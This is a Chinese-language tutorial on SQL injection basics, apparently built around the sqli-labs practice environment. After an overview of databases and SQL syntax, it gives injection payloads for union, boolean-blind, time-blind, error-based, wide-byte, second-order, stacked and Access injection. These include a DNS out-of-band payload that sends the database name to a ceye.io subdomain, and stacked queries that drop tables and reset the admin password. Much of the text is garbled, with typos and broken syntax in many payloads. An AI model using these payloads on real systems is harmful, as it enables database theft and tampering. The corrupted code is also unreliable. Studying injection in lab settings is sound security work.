sql注入基础
Posted 震天安全
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入基础相关的知识,希望对你有一定的参考价值。
什么是数据库
数据库是“按照数据结构来组织、存储和管理数据的仓库”。是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合。
数据库是以一定方式储存在一起、能与多个用户共享、具有尽可能小的冗余度、与应用程序彼此独立的数据集合,可视为电子化的文件柜一-存储电子
文件的处所,用户可以对文件中的数据进行新增、查询、更新、删除等操作。
常见数据库
1.access数据库:Access全名是Microsoft Office Access,是由微软发布的关联式数据库管理系统。小型数据库,当数据库达到100M左右的时候性能就会下降。数据库后缀名: .mdb 一般是asp的网页文件access数据库
2.mssql sql-server:SQL Server是由Microsoft开发和推广的关系数据库管理系统(DBMS) ,是一个比较大型的数据库。端口号为1433。数据库后缀名.mdf
3.mysql数据库:MySQL是一个关系型数据库管理系统,由瑞典MySQ[ AB公司开发,目前属于Oracle旗下产品。"MySQL 是最流行的关系型数据库管理系统,在WEB应用方面MySQL是最好的应用软件之,MySQL数据库大部分是php的页面。默认端口是3306。
4.sracle数据库:Oracle,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。常用于比较大的网站。默认端是1521
数据库环境搭建
phpstudy:phpstudy是一款用来快速部署web服务器的软件,支持一键LAMP,LNMP,集群,监控,网站,FTP,数据库,JAVA等100多项服务器管理功能。利用它,我们可以快速监控,网站,FTP,数据库,JAVA等100多项服务器管理功能。利用它,我们可以快速
navicat:连接数据库
、
sqlyog:连接数据库
数据库语句
sql语句:SQL;是一种特殊目的的编程语言,是一-种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理数据库。分为三个类别:
(1)DDL,数据定义语言create,drop
(2)DML;安据库操作语言select insert update
(3)DCL,数据控制语言grant(授权) revoke(回收权限)
1.创建数据库
语法规则:create database 库名;
2.删除数据库
语法规则:drop detabase 库名;
3.创建指定编码数据库
语法规则:create database 库名 character set utf8;
4.创建表
语法规则:
create table 表名(
字段1 数据类型
字段2 数据类型
);
5.删除表
语法规则:drop table 表名;
6.插入数据SQL语法(1)
语法规则:
insert into表名(字段1,字段2,字段3... values(值1,值2,...);
注:插入数据的时候,表后面跟口字段名字可以省略,但是后面插入的值需要与字段的数量对应
7.插入数据SQL语法(2)
语法规则:
insert into表名set字段1=值1,字段2=值2..;
8.同时插入多条数据
语法规则:
语法规则: insert into表名(字段1,字段2,字段...) values(值1,值2,值.... (值1,值2,值3..), (值1,值2,值..);
9.删除数据
语法规则:
delete from表名where字段=值;
10.关系运算符
>= <= !=(不等于)
11.查询数据
语法规则:
select 字段1,字段2,字段3... from表名where条件;
12.查询起别名
语法规则:
select username a from表名where条件;其中a就是username的别名
13.修改语句
语法规则:
update 表名 set字段1=值1,字段2=值2... where条件
information schema数据库利用
简介:在Mysq|大于5.0以上的版本的数据库中,会存在一-个information schema数 据库。这个库中保存了整个Mysql中的所有信息,包括所有库,所有表,所有数据,可以把它理解为一个信息数据库。
说明:
A. SCHEMATA表:提供了当前mysq|实例中所有数据库信息,showdatabases的结果就是取自该表。
B. TABLES表: 提供了关于数据库中的表的信息。
C. COLUMNS表:提供了表中的列信息,详细表述了某张表的所有列以及每个列的信息
通过information_ schema数据库查找库名:
select schema_ name from information_ schema.schemata;
mysql注入常用函数
1.current_ user() 当前用户名
2.session_ user() 链接数据库的用户名
3.@@basedir; mysq|安装路径
4.@@datadir; 数据库路径
5.@@version_ compile_ _os 操作系统版本
6.字符串连接函数:concat、concat WS、group_ concat
select concat(id,' | ,username,' " ,password) from users;
select concat_ ws('I ,id,username, password) from users;
select group_concat(" ,username) from users;
7.字符串截取函数
substr、nid、left、 right、 locate
locate:返回第一个字符串首次在第 二个字符串出现得位置
select substr((select username from users Jlimit 0,1),1,2);
select mid('martin',2,3);
select left('martin',2);
select right('martin',2);
select locate('security' ,11234security');
8.返回指定的ASCII字符对应的值
ascii、ord
select asci('a');
select ord('a');
9.返回指定数字对应的ascii码字符函数
char
select char(97)
10.计算相关
length、count
select length(database();
select count(*) fromt uisers;
11.时间首注会用到的函数
sleep、if
select char(97);
select sleep(5);
select if(lotate('s ,database(),1)=1),sleep(5),1);
12.注释方法
#、/**/、/*!*/、/*!50000*/ mysql 5通用带版本内联注释
mysql注入原理
SQL,叫做结构化的查询语言。所谓sQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的) SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意) SQL语句得到一个存在安全漏洞的网站,上的数据库,而不是按照设计者意图去执行SQL语句。
mysql注入检测方式
1.搭建mysq|注入练习环境
搭建phpstudy
将靶场在网站根路径下解压,解压过后,修改数据库连接配置文件。sqli-labs-mastersql-connectionsdb-creds.inc,修改数据库连接账户密码为root/root。
2.判断某URL是否存在注入(字符型注入)
url: http://127.0.0.1/sqli-labs-master/Less-1/?id=1
后端sql: $sq|="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
A.一般在传参后面加一个单引号或者双引号,报错或者没有返回正常的页面,那么大概率是存在注入的
B.进一步检测是否存在注入
3.数字型注入
url: http://127.0.0.1/sqli-labs-maste. ess-2/?jd=1
后端sql: $sq!="SELECT * FROM users WHERE id=$id LIMIT 0,1";
4.搜索型注入
有的一些搜充请求,也会存在注入,多见于一些源码类似如下:
$sq|="select * from user where password like '%$pwd%' order by password";
其中like用于搜索匹配字段中的内容,如果用户这样去输入xx'and 1=1 and
'%=',那么传入到源码中的sq|会变成select * from user where password like
'%xx'and 1=1 and '%'='%' order by password ,则会存在sq|注入的。
5.搜索型注入判断方式
输入搜索的关键词: .keyword';报错的话则大概率存在漏洞
输入搜索的关键词: keyword% ,报错的话则大概率存在漏洞
输入搜索的关键词: keyword % 'and 1=1 and '%'=',看返回情况
输入搜索的关键词: keyword % 'and 1=2 and '%'=',看返回情况
6.搜索型注入判断语句
'and 1=1 and '%'='
%' and 1=1--'
%' and 1=1--'
mysql union注入1
union注入:使用联合查询进行注入的前提是我们要进行注入的页面必须有显示位。所谓联合查询注入即是使用union合并两个或多个SELECT语句的结果集,所以两个及以上的select必须有相同列、且各列的数据类型也都相同联合查询注入可在链接最后添加order by基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目。
用法:UNION操作符用于合并两个或多个SELECT语句的结果集。请注意,UNION内部的SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。
(1)select * from users where id=1 uni select 1,2,3;
(2)select * from users where id=1 union select 1,2,3,4;
(3)select * from users where id=1 union all select 1,2,3;
mysql注入布尔盲注8
布尔盲注: web的页面返回值都是True或者False,所以布尔盲注就是注入后根据页面返回值来得到数据库信息的一种办法。
使用场景:
(1)union注入用不了,没有显示位置
使用场景:
(1)union注入用不了,没有显示位置
(2)只能根据页面是否返回true或者false来判断是否被带入查询
A.先判断是否存在注入
?id=1' and 1=1 %23页面回显正常
?id=1' and 1=2 %23*页面回显不正常
证明存在盲注
B.再判断注入类型:字符型/数字型/搜索型
C.判断能使用的注入方式,这里不能使用union注入,
D.首先获取数据库名称的长度
?id=1 and (length(database()>n) %23
E.接下来获取数据库的名称
D.首先获取数据库名称的长度
?id=1 and (length(database()>n) %23
E.接下来获取数据库的名称
?id=1' and (asi(substr(database),1,1)) >n) %23
F.接着跟上面步骤一 样,先获取表数量
?id=1' and (select count(*) from information_ schema.tables where table_ schema= security ) >n--+
G.获取表的长,后面依此类推。
?id=1' and (ord(substr(select table_ name from information schema.tables where table_ schema= security' fimit 0,1);1;1)) >n)--+
注:(1)判断后面的数字的时候可以采用二分法,一半一半的判断。
(2)取数据库名称第二位只需要更改substr截取的位置就行
?id=1' and (ascii(substr(database(),2,1)) >n) %23
(3)利用burp intruder模块进行遍历
注:如果用burp来注入的话:可以根据response返回长度来判断页面是否正常回显,或者直接
查看render页面
mysql时间盲注9
时间盲注:当布尔型注入没有结果(页面显示正常)的时候,我们很难判断注入的代码是否被执行,也可以说到底这个注入点存不存在?这个时候布尔型注入就无法发挥自己的作用了。基于时间的盲注便应运而生,所谓基于时间的盲注,就是我们根据web页面相应的时间差来判断该页面是否存在SQL注入点
A.先判断是否存在注入
?id=1' and 1=1 %23页面回显正常
?id=1' and 1=2 %23*页面回显不正常
?id=1' and sleep(5) %23发现页面延迟了5秒钟响应,证明sleep被带 入到数据库做了查询。所以是存在时间盲注的。
B.再判断注入类型:字符型/数字型/搜索型
C.判断能使用的注入方式,这里不能使用union注入布尔盲注
D.首先获取数据库名称的长度
?id=1' and iflength(database())>7),sleep(5),1) %23延时5秒
?id=1' and i(le 4 jn(database()>8),sleep(5),1) %23不延时5秒
说明数据库名称长度为7位
E.接下来获取数据库的名称
?id=1' and f(sci(substr( base(),1,1)) >n);sleep(5),1) %23
大于114,不大于115,说明当前使用的数据库名称第一位的asci值为115。所以查看assci表得知为字符s
F.接着跟上面步骤一样,先获取表数量
?id=1' and if(selec Count(*) from information schema.tables where table_ schema=database())>4,sleep(5),1)--+-延时5秒
?id=1' and if((select count(*) from information_ schema.tables where table_ schema=database())>5,sleep(5),1)--+不延时秒
myql dnslog盲注9 ecye.io
DNSiog盲注:有时候注入发现并没有回显,也不能利用时间盲注,那么就可以利用带外通道,也就是利用其他协议或者渠道,如http请求、 DNS解析、 SMB服务等将数据带出。Slog盲注可以减少发送的请求,直接回显数据实现注入。
DNSlog:存储在DNSserver.上的域名信息,它记录着用户对域名www.xxx.com等的访问信息。
利用条件:
mysql.ini中secure_ file_ priv必须为空
secure_ file_ _priv 为nul不允许导入导出
secure_ file_ priv 为/tmp导入导出只能在/tmp目录下
secure_ file_ _priv 为空时则不做限制允许导入导出
payload:?id=1' and load_ file(concat('llI',(select databasel(),'.27epx0.ceye.olabc))--+
相应的更换select database()查询语句便可以实现DNS外带的回显注入,其中27epx0.ceye.io为ceye.io平台给每个账号起的昵称
mysql报错注入1
报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能这回错误信息的情况下比较好用,毕竟用盲注的话既耗时又容易被封。报错注入也称之为公式化注入方式。
报错注入利用函数1:updatexml()
payload:?id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e)1);-+
其中0x7e是asci编码,解码为~
updatexmI()是更新xml文档的函数
updatexm()语法: update(目标xm|文档, xml路径, 更新内容)
第二个参数是xml路径;要求符合xpath语法的字符串,xm|文档中查找字符串位置是用x..
这种格式,如果写入其他格式就会报错。
后续updatexml报错注入操作步骤:
(1)更改select user()位置的sql语句即可。
(2)获取当前库的表?id=1' and (updatexml(1,concat(0x7e,(select table_ name from information schema.tables where table_ schema=database() limit 0,1),0xe)1)--+获取当前库的第一张表, 后面只需要慢慢更改limit的位置即可。
报错注入利用函数2: extractvalue()
payload:?id=1' and (extractvalue(1,concat(0x7e,(select uer(),0x7e)) --+
extractvalue()函数跟updatexml类似;负责在xml文档中安装xpath语法查询节点内容的函数。所以以上两个函数也称xpath注入函数后续extractvalue报错注入操作步骤同updatexm()
?id= 1 and (extractvalue(1,concat(0x7e,(select table_ name from
information_ schema.tables where table_ schema=database() Jimit 0,1),0)ll))--+-获取当前库的第一张表, 后面只需要慢慢更改limit的位置即可。
?id=1' and (extractvalue(1,concat(0x7e,(select column_ name from schema.columns where table_ schema=database() and table_ name='emails' 0,1),)0xe))-+-获取字段...
后续操作步骤:更改user()那个位置的sql语句即可,同上两个函数-样;
以上三个函数都是经常用到报错注入中的函数,还有更多的报错注入利用函数参见:https://blog.csdn.net/whatday/article/details/63683187
mysql宽字节注入36
宽字节注入就是因为gbk编码方式需要两个asci组合来解码,所以很形象的叫做宽字节。
原理:当传递一个参数id=1 '得时候, 当我们输入这个单引号,会被认为是非法字符,会被过滤函数添加"给过滤掉,所以我们想要程序接受我们传递得参数中包含单号,那么就需要把这个转义字符“” 干掉,那如何才能干掉呢?当http协议传输得时候,是要经过url编码的,如果这个编码完成后,传递到服务器时,我们可以在单引号前加上一个%81这样得编码,最后这样解码得时候,这个%81就会和"I” 对应得编码相结合按照gbk编码要求去解码;最后只剩下个单引号。
条件:(1)数据库查询设置为GBK编码
(2)使用了addslashes(), mysql real escape_ string(),mysql escape_ string()Z 类的的数
GBK编码表https://www.qqxiuzi.cn/zh/hanzi gbk-bianma.php
payload:?id=1'加单引号被转义,前面多了个?id=1%81'单引号前面加一个%81,构成宽字节,报错了,可见转义过后的被吃掉了。后面就是常规注入方式
?id=1%81' and 1=1 --+回显正常
?id=1%81' and 1=2 --+回显不正常
?id=1%81' order by 3 --+回显正常
?id=1%81' and 1=2 union select1-2,3 --显示位2, 3
后续步骤省略,这里都可以用union注入或者报错注入。
mysql二次注入24与http头注入18
二次注入:所谓二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入。二次注入是sq|注入的一种,但是比普通sq|注入利用更加困难,利用门门槛高。普通注入数据直接进入到SQL查询中,而次注入则是输入数据经处理后存储,取出后,再次进入到SQL查询。
payload;(1)后端源码: $sql = "UPDATE users SET PASSWORD=' $pass' where username='$username' andpassword= Scurr pass' ";
(2)新建用户,构造名字admin''#
(3)重置账户密码,输入名字admin'#,修改过后发现被修改的账户为admin
其原因就是:$sql三"UPDATE users SET PASSWORD='$pass' where username= admin'#' and password='$curr pass
HTTP头注入其实并不是一个新的SQL注入类型, 而是指出现sQL注入漏洞的场景。有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证) ,或者通过http header头信息获取客户端的一些资料,比如useragent. accept字段等。会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL Inject漏洞。
mysql堆叠注入38
在sqi中。分号代表一条sq|语句结束, 而堆叠注入就是多条sql-起执行。堆叠注入不同于其他注入.有局限性
payload;
id=1';create table test like users--+
id=1';drop table test--
id=1';update users set password= admin@ 123' where username= admin'--+
通过第三条语句能够修改数据,前提是你需要知道字段,表名称
如何才能知道对方的表段、:表名
如何才能知道对方的表段、:表名
1.通过目录遍历漏洞寻找可利用文件,如.sq后缀类型文件。
2.通过目录/文件fuzz工具,.如御剑/dirsearch等寻找.sq|文件
3.寻找对方的源码泄露漏洞,在源码里面可能包含楼可以利用的文件
4.github.上寻找对方网站源码
access数据库注入
access数据库没有库,那些m'db的文件就是access数据库的文件,打开过后里面有表,有列
注入源码:
<% id=request("id")
sq|="select * from product where id="&id
set rs=conn.execute(sqI).
方法1:联合查询法
判断注入点是否存在
猜解表名
猜解字段名
方法2:逐字猜解法.
判断注入点是否存在
猜解表名”
and exists(select * from表名)
猜解字段名
and exists(select id from admin)
猜解数据
以上是关于sql注入基础的主要内容,如果未能解决你的问题,请参考以下文章